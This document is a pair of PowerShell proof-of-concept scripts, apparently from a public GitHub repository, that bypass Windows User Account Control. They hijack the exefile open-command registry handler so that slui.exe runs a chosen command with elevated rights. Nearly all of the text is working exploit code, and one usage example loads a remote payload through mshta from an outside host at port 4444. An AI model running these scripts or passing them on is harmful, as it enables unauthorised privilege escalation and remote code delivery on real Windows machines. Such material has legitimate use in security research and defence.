Interactive Version: <# .SYNOPSIS This script is a proof of concept to bypass the User Access Control (UAC) via SluiFileHandlerHijackLPE .NOTES Function : SluiHijackBypass File Name : SluiHijackBypass.ps1 Author : Gushmazuko .LINK https://github.com/gushmazuko/WinBypass/blob/master/SluiHijackBypass.ps1 Original source: https://bytecode77.com/hacking/exploits/uac-bypass/slui-file-handler-hijack-privilege-escalation .EXAMPLE Load "cmd.exe" (By Default used 'arch 64'): SluiHijackBypass -command "cmd.exe" -arch 64 Load "mshta http://192.168.0.30:4444/0HUGN" SluiHijackBypass -command "mshta http://192.168.0.30:4444/0HUGN" #> function SluiHijackBypass(){ Param ( [Parameter(Mandatory=$True)] [String]$command, [ValidateSet(64,86)] [int]$arch = 64 ) #Create registry structure New-Item "HKCU:\Software\Classes\exefile\shell\open\command" -Force Set-ItemProperty -Path "HKCU:\Software\Classes\exefile\shell\open\command" -Name "(default)" -Value $command -Force #Perform the bypass switch($arch) { 64 { #x64 shell in Windows x64 | x86 shell in Windows x86 Start-Process "C:\Windows\System32\slui.exe" -Verb runas } 86 { #x86 shell in Windows x64 C:\Windows\Sysnative\cmd.exe /c "powershell Start-Process C:\Windows\System32\slui.exe -Verb runas" } } #Remove registry structure Start-Sleep 3 Remove-Item "HKCU:\Software\Classes\exefile\shell\" -Recurse -Force } ################################################################################ Non-Interactive Version: <# .SYNOPSIS Noninteractive version of script, for directly execute. This script is a proof of concept to bypass the User Access Control (UAC) via SluiFileHandlerHijackLPE .NOTES File Name : SluiHijackBypass_direct.ps1 Author : Gushmazuko .LINK https://github.com/gushmazuko/WinBypass/blob/master/SluiHijackBypass_direct.ps1 Original source: https://bytecode77.com/hacking/exploits/uac-bypass/slui-file-handler-hijack-privilege-escalation .EXAMPLE Load "cmd.exe" (By Default used 'arch 64'): powershell -exec bypass .\SluiHijackBypass_direct.ps1 #> $program = "cmd.exe" New-Item "HKCU:\Software\Classes\exefile\shell\open\command" -Force Set-ItemProperty -Path "HKCU:\Software\Classes\exefile\shell\open\command" -Name "(default)" -Value $program -Force #For x64 shell in Windows x64: Start-Process "C:\Windows\System32\slui.exe" -Verb runas #For x86 shell in Windows x64: #C:\Windows\Sysnative\cmd.exe /c "powershell Start-Process "C:\Windows\System32\slui.exe" -Verb runas" Start-Sleep 3 Remove-Item "HKCU:\Software\Classes\exefile\shell\" -Recurse -Force